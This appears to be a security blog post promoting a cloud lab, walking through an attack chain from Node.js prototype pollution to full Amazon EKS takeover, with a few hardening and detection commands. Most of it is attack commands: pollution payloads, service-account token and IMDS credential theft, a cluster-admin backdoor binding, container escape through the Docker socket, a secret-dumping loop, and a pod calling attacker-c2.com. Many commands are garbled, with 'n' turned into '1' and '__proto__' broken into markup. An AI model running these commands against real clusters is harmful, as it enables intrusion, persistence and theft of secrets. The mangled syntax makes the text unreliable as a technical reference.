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Introduction:
Modern cloud environments are seeing a fundamental shift in how attackers gain initial access, with Google’s Cloud Threat Horizons H1 2026 report revealing that software vulnerabilities have overtaken stolen credentials as the number one cloud entry vector—jumping from just 2.9% to a staggering 44.5% of all intrusions. What this means for organizations running production workloads on Amazon EKS is that a simple web application vulnerability is no longer just a web problem; it’s increasingly the first step into your cloud infrastructure. Pwned Labs’ new “Escalate from Prototype Pollution to EKS Takeover” lab demonstrates exactly this reality, walking security professionals through a complete attack chain that begins with a prototype pollution flaw and ends with full cluster compromise.
Learning Objectives:
- Exploit a server-side prototype pollution vulnerability to gain an initial application foothold
- Pivot from the application layer into the EKS control plane using chained misconfigurations
- Execute a full cluster takeover through RBAC abuse and IAM role exploitation
- Understand the defensive controls that can break each stage of the attack chain
You Should Know:
- Prototype Pollution: The JavaScript Vulnerability That Breaks Everything
Prototype pollution is a JavaScript vulnerability where an attacker injects arbitrary properties into global object prototypes (primarily Object.prototype). Since all JavaScript objects inherit from this base prototype, a polluted property propagates to every object in the runtime—including window, document, and `process` objects. When this happens server-side in a Node.js application, the impact can be catastrophic, potentially leading to privilege escalation or full remote code execution.
Step-by-step guide: How to detect and exploit prototype pollution
Linux / MacOS Terminal:
Test for prototype pollution vulnerability using curl
curl -X POST https://target-app.com/api/merge \
-H "Content-Type: application/json" \
-d '{"<strong>proto</strong>":{"isAdmin":true}}'
Check if pollution persisted (look for 'isAdmin' property)
node -e "console.log({}.isAdmin)"
Windows PowerShell:
Test for prototype pollution using Invoke-RestMethod
$body = @{<strong>proto</strong> = @{isAdmin = $true}} | ConvertTo-Json
Invoke-RestMethod -Uri "https://target-app.com/api/merge" -Method POST -Body $body -ContentType "application/json"
Verify pollution
node -e "console.log({}.isAdmin)"
Burp Suite Extension:
Use the Prototype Pollution Gadgets Finder extension to automate detection. After installation, navigate to any request, right-click, and select “Prototype Pollution Scan.” The tool will automatically test for pollution sinks and identify exploitable gadget chains.
PortSwigger DOM Invader:
Enable DOM Invader in Burp’s embedded browser, toggle on “Prototype Pollution” attack type, and load the target application. DOM Invader automatically detects pollution sources in URLs and JSON objects, then scans for gadgets that can be used to craft an exploit.
- From Web Vulnerability to Container Foothold: The Pivot
Once prototype pollution achieves remote code execution, the attacker finds themselves inside a running container on an EKS worker node. The immediate next step is reconnaissance to understand cluster access and available permissions.
Step-by-step guide: Container enumeration and privilege discovery
Inside the compromised pod:
Identify current service account and namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Check mounted service account permissions
kubectl auth can-i --list --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
Enumerate Kubernetes API access
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_PORT_443_TCP_PORT}/api/v1/namespaces
Escape pod boundaries - check if hostPath mounts exist
mount | grep -E "/host|/node"
Use k8scout to map attack paths (download and run single binary)
wget https://github.com/k8scout/k8scout/releases/latest/download/k8scout-linux-amd64
chmod +x k8scout-linux-amd64
./k8scout-linux-amd64 --token $(cat /var/run/secrets/kubernetes/serviceaccount/token)
The k8scout tool will automatically discover what the compromised pod’s service account can do, map out the RBAC graph, and trace multi-step attack paths from your exact foothold to high-value targets.
- IAM Roles for Service Accounts (IRSA): The Cloud Bridge
EKS workloads often assume IAM roles via IRSA, exchanging a Kubernetes service account token for short-lived AWS credentials. An attacker who compromises a pod with an overly permissive IRSA-bound service account can pivot from cluster access to AWS cloud control plane access.
Step-by-step guide: Abusing IRSA for cloud lateral movement
Inside compromised pod - request AWS credentials via IMDSv2 TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ Or for EKS pods with IRSA, credentials are available via AWS SDK defaults aws sts get-caller-identity Enumerate attached IAM policies aws iam list-attached-role-policies --role-1ame <role-1ame> Check for privilege escalation opportunities using Pacu git clone https://github.com/RhinoSecurityLabs/pacu cd pacu python3 pacu.py In Pacu console: run iam__privesc_scan
If the IRSA role is overly permissive, an attacker can exfiltrate data from S3, create new IAM users, or even assume more privileged roles. Real-world attack paths documented in OWASP EKS Goat include misconfigured IAM roles, IRSA abuse, ECR image backdooring, RBAC privilege escalation, and pod-to-1ode breakout.
4. RBAC Abuse: Escalating to Cluster-Admin
Kubernetes RBAC misconfigurations are a common path to full cluster takeover. An attacker with the ability to create or modify role bindings can grant themselves cluster-admin privileges.
Step-by-step guide: RBAC privilege escalation techniques
Check if current service account can create rolebindings kubectl auth can-i create rolebindings --all-1amespaces If yes, create a backdoor admin role binding cat <<EOF | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: attacker-admin-binding subjects: - kind: ServiceAccount name: default namespace: default roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io EOF Verify cluster-admin access kubectl get pods --all-1amespaces Alternative: if you can edit clusterroles, escalate bind verb kubectl edit clusterrole attacker-role Add 'escalate' and 'bind' verbs to the clusterrole
Attackers who have obtained IAM permissions to manage EKS access entries can also backdoor cluster access by mapping attacker-controlled IAM identities to cluster-admin privileges without modifying any Kubernetes resources directly.
5. Node Compromise and Container Escape
Beyond RBAC, container escape vulnerabilities can allow a pod to break out to the underlying EC2 node. CVE-2026-43284 (Dirty Frag) is a recent Linux kernel vulnerability demonstrating that any privileged DaemonSet sharing image layers with an attacker-controlled container can be weaponized for container escape.
Step-by-step guide: Detecting and mitigating container escape risks
On compromised pod - check for privileged container cat /proc/self/status | grep -i "Seccomp" cat /proc/self/status | grep -i "Cap" Check for hostPID sharing ps aux | grep -v "kubexec" Check for exposed Docker socket ls -la /var/run/docker.sock To escape to node via Docker socket docker run -it --privileged --pid=host ubuntu nsenter -t 1 -m -u -i -1 sh
Mitigation commands for EKS cluster hardening:
Enable audit logging for API server
aws eks update-cluster-config --1ame <cluster-1ame> --logging '{"clusterLogging":[{"types":["api","audit"],"enabled":true}]}'
Apply restrictive pod security standards
kubectl label namespace default pod-security.kubernetes.io/enforce=restricted
Block metadata service access for untrusted pods
Create NetworkPolicy to deny IMDS access
cat <<EOF | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-imds
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
EOF
6. Full Cluster Takeover: Post-Exploitation Actions
Once cluster-admin access is achieved, an attacker has complete control over the EKS cluster and can exfiltrate secrets, deploy cryptominers, or pivot to other AWS resources.
Step-by-step guide: Post-exploitation reconnaissance and defense
Exfiltrate all Kubernetes secrets
for ns in $(kubectl get ns -o jsonpath='{.items[].metadata.name}'); do
kubectl get secrets -1 $ns -o json | jq '.items[].data | map_values(@base64d)'
done
Create persistent backdoor via new service account
kubectl create sa attacker-backdoor -1 kube-system
kubectl create clusterrolebinding attacker-backdoor-binding \
--clusterrole=cluster-admin \
--serviceaccount=kube-system:attacker-backdoor
Deploy cryptominer (red team exercise only)
kubectl run crypto-miner --image=ubuntu --command -- /bin/sh -c "while true; do curl -X POST http://attacker-c2.com/status; sleep 60; done"
Defensive detection commands for security teams:
Detect anomalous RBAC changes via CloudTrail aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateClusterRoleBinding \ --start-time "2026-06-01T00:00:00Z" Use k8scout to audit cluster RBAC posture from defender perspective k8scout audit --kubeconfig ~/.kube/config Enable Falco for runtime security helm repo add falcosecurity https://falcosecurity.github.io/charts helm install falco falcosecurity/falco --set falco.jsonOutput=true
What Undercode Say:
- A web application vulnerability like prototype pollution is no longer confined to the application layer—it’s a direct pathway to cloud infrastructure compromise, as evidenced by the dramatic 44.5% increase in software vulnerability-based cloud intrusions.
- Hands-on adversarial labs that run on real cloud infrastructure, not simulations, are essential for security teams to truly understand the attack paths that modern threat actors are actively using against production EKS environments.
Prediction:
- +1 Organizations that invest in purple team exercises specifically targeting cloud-1ative attack chains will see a measurable reduction in mean time to detect (MTTD) for web-to-cloud intrusions by early 2027.
- -1 As software vulnerabilities continue to surpass credentials as the primary initial access vector, organizations that do not shift security left into their development pipelines will face increasing breach risks that traditional perimeter defenses cannot block.
- +1 The democratization of realistic cloud security labs like Pwned Labs will accelerate the upskilling of both offensive and defensive cloud practitioners, narrowing the talent gap in cloud-1ative security.
- -1 Expect threat actors to increasingly target JavaScript prototype pollution vulnerabilities in Node.js microservices as a stealthy, high-impact initial access method that bypasses many traditional web application firewalls (WAFs).
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